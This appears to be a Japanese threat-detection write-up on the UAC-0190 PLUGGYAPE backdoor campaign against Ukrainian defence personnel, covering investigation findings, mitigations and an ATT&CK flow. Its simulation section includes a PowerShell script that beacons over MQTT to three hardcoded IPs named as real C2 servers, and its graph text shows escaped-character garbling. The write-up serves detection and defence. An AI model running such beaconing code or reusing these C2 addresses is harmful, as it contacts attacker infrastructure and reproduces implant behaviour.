「信頼性のないファンド」: ウクライナ防衛軍を対象としたUAC-0190によるサイバー攻撃とPLUGGYAPEの使用
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
CERT-UAは、ウクライナ国防軍の職員に対する標的型侵入の波を開示しました。オペレーターは慈善基金の代表を装って信頼を高め、実行を促進しました。このキャンペーンでは、PLUGGYAPEという特注のPythonベースのバックドアが展開され、武器化された「文書」ファイルを介して配布され、偽装された二重拡張子(例えば、.docx.pifや.pdf.exe)を使用して無害なコンテンツとして偽装されました。起動されると、マルウェアはMQTTまたはWebSocketチャネルを介してコマンドアンドコントロールを確立し、侵害されたドメインとIPベースのインフラを組み合わせて使用しました。CERT-UAはこの活動をVoid Blizzard (Laundry Bear) クラスターに関連付けました。
調査
分析中、対応者は複数の悪意あるアーティファクトを集め、ペイロードがOfficeに似たファイルとして提示されるPyInstallerでパッキングされたPythonバイナリであることを確認しました。ネットワークテレメトリは、攻撃者が制御するエンドポイントへのMQTTブローカーおよびWebSocketセッションを通じたビーコンを示し、一部のサーバーアドレスは、Base64文字列として組み込まれ、ペーストスタイルのホスティングサービスから取得されたものとして間接的に供給されました。オペレーターは実行時にRunレジストリエントリを作成することで持続性を維持しました。インフラストラクチャ指標は、ペーストプラットフォーム(Pastebinやrentryなど)やおとりチェーンで使用されたいくつかの慈善団体のテーマのドメインで見つかった参照によって裏付けられました。
緩和策
メッセンジャー経由で受け取った通知なしの「文書」ファイル、特に二重拡張子や実行可能ファイルとして偽装パターンを使用する添付ファイルを高リスクとして扱います。アプリケーション許可リストを実装し、可能であればPyInstallerでパッケージされたバイナリの実行を明示的に防ぎます。一般的な持続性の場所への変更を監視し、特にRunキーの変更に注意を払います。ネットワーク層では、既知の悪意あるドメインへのアウトバウンド接続をブロックまたは厳格に制御し、このキャンペーンのコマンドアンドコントロールに関連するMQTTブローカーポートへの出口を制限します。
対応
発行されたIOCをSIEM/EDRツールに取り込み、標的となった職員が使用するシステムを優先してエンドポイント全体でPLUGGYAPEアーティファクトを積極的に検索します。疑わしいホストを隔離し、スコープ設定のためにエンドポイントとネットワークの証拠を保存します。レジストリの持続性、特にRunエントリを確認し、異常なMQTT/WebSocketトラフィックパターンについてネットワークログを調べます。インシデント対応およびCERT-UAが提供する公式の連絡経路を使用して、適用法執行チャンネルを通じてエスカレーションします。
“graph TB %% クラス定義 classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% ノード initial_access[“<b>技術</b> – <b>T1659 コンテンツ注入</b><br /><b>説明</b>: メッセージングプラットフォーム経由で悪意のあるファイルを注入”] class initial_access technique malicious_file[“<b>ファイル</b> – 悪意のある文書<br /><b>事例</b>: .docx.pif, .pdf.exe, 難読化されたペイロード”] class malicious_file builtin user_execution[“<b>技術</b> – <b>T1204.002 ユーザー実行</b><br /><b>説明</b>: 被害者が悪意のあるファイルを開く”] class user_execution technique malware[“<b>マルウェア</b> – PyInstallerでコンパイルされたPythonバックドア<br /><b>特徴</b>: 組み込みペイロード、WebSocketとMQTTを使用”] class malware malware persistence[“<b>技術</b> – <b>T1547.014 レジストリRunキー/スタートアップフォルダー</b><br /><b>説明</b>: 起動時自動開始のためのRunキーを追加”] class persistence technique discovery[“<b>技術</b> – <b>T1082 システム情報収集</b><br /><b>説明</b>: OSの詳細とハードウェア識別子を収集”] class discovery technique command_and_control[“<b>技術</b> – <b>T1071.001 Webプロトコル</b> と <b>T1102.002 MQTT</b><br /><b>説明</b>: WebSocketとMQTT経由で通信、Base64でエンコードされたURLを使用”] class command_and_control technique defense_evasion[“<b>技術</b> – <b>T1036.008 偽装</b>, <b>T1027.009 難読化されたファイル</b>, <b>T1497.002 仮想化/サンドボックス回避</b><br /><b>説明</b>: バイナリを隠し、分析環境をチェック”] class defense_evasion technique exfiltration[“<b>技術</b> – <b>T1011 他のネットワーク媒体経由のデータ流出</b><br /><b>説明</b>: 同じC2チャネルで収集データを送信”] class exfiltration technique %% 接続 initial_access u002du002d>|配信する| malicious_file malicious_file u002du002d>|被害者によって開かれる| user_execution user_execution u002du002d>|実行する| malware malware u002du002d>|作成する| persistence malware u002du002d>|収集する| discovery malware u002du002d>|接続する| command_and_control malware u002du002d>|使用する| defense_evasion malware u002du002d>|経由で流出させる| exfiltration “
攻撃フロー
シミュレーション実行
前提条件:テレメトリおよびベースラインのプレフライトチェックが通過していること。
根拠:このセクションは検出ルールをトリガーするように設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとストーリーは特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃の説明とコマンド:
- 目的: MQTTプロトコルを使用してPLUGGYAPEインフラストラクチャとC2チャネルを確立し、データを黙って報告する典型的なIoTデバイスを模倣します。
- ステップバイステップ:
- 攻撃者はPowerShellスクリプトをドロップし、
MQTTnetライブラリをロードします。 - 標準のMQTTポート(1883)上で、3つのハードコードされたIPのうち1つの悪意のあるMQTTブローカーへの接続を作成する永続的なバックグラウンドジョブを作成します。
- TCPセッションが確立されると、最小限のMQTT CONNECTパケットを送信し、その後にエンコードされたコマンドデータを含む定期的なPUBLISHを送信します。
- すべてのネットワーク活動は、通常のトラフィックと調和するために正当なサービスアカウントのコンテキストで実行されます。
- 攻撃者はPowerShellスクリプトをドロップし、
-
リグレッションテストスクリプト:
# PLUGGYAPE C2 シミュレーション – Windows上でのMQTT # MQTTnetが必要(PowerShellギャラリー経由でインストール) # --------------------------------------------------------- # 1. 不足している場合はMQTTnetをインストール if (-not (Get-Module -ListAvailable -Name MQTTnet)) { Install-Module -Name MQTTnet -Scope CurrentUser -Force } # 2. 悪意のあるC2エンドポイントを定義 $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216') $c2Port = 1883 # 3. リアリティのある選択をシミュレートするために1つのC2サーバーをランダムに選択 $targetIP = $c2IPs | Get-Random # 4. MQTTクライアントを構築 $factory = New-Object MQTTnet.MqttFactory $client = $factory.CreateMqttClient() $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new() .WithTcpServer($targetIP, $c2Port) .WithClientId(([guid]::NewGuid()).Guid) .Build() # 5. 接続し、バックグラウンドジョブで公開を開始 $scriptBlock = { param($client,$options) try { $client.ConnectAsync($options).GetAwaiter().GetResult() Write-Host "PLUGGYAPE C2に接続しました: $($options.ChannelOptions.Server)`n" # 30秒ごとにシンプルな維持用のpublishを送信します while ($true) { $msg = [MQTTnet.MqttApplicationMessageBuilder]::new() .WithTopic('data/heartbeat') .WithPayload('alive') .WithExactlyOnceQoS() .Build() $client.PublishAsync($msg).GetAwaiter().GetResult() Start-Sleep -Seconds 30 } } catch { Write-Error "C2接続失敗: $_" } finally { $client.DisconnectAsync() | Out-Null } } # ジョブを起動(バックグラウンドで実行) $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options Write-Host "PLUGGYAPE C2シミュレーションのジョブが開始されました (JobId=$($job.Id))。" -
クリーンアップコマンド:
# バックグラウンドジョブを停止し、MQTTクライアントの切断を確認 Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force Write-Host "PLUGGYAPE C2シミュレーションが停止し、クリーンアップが完了しました。"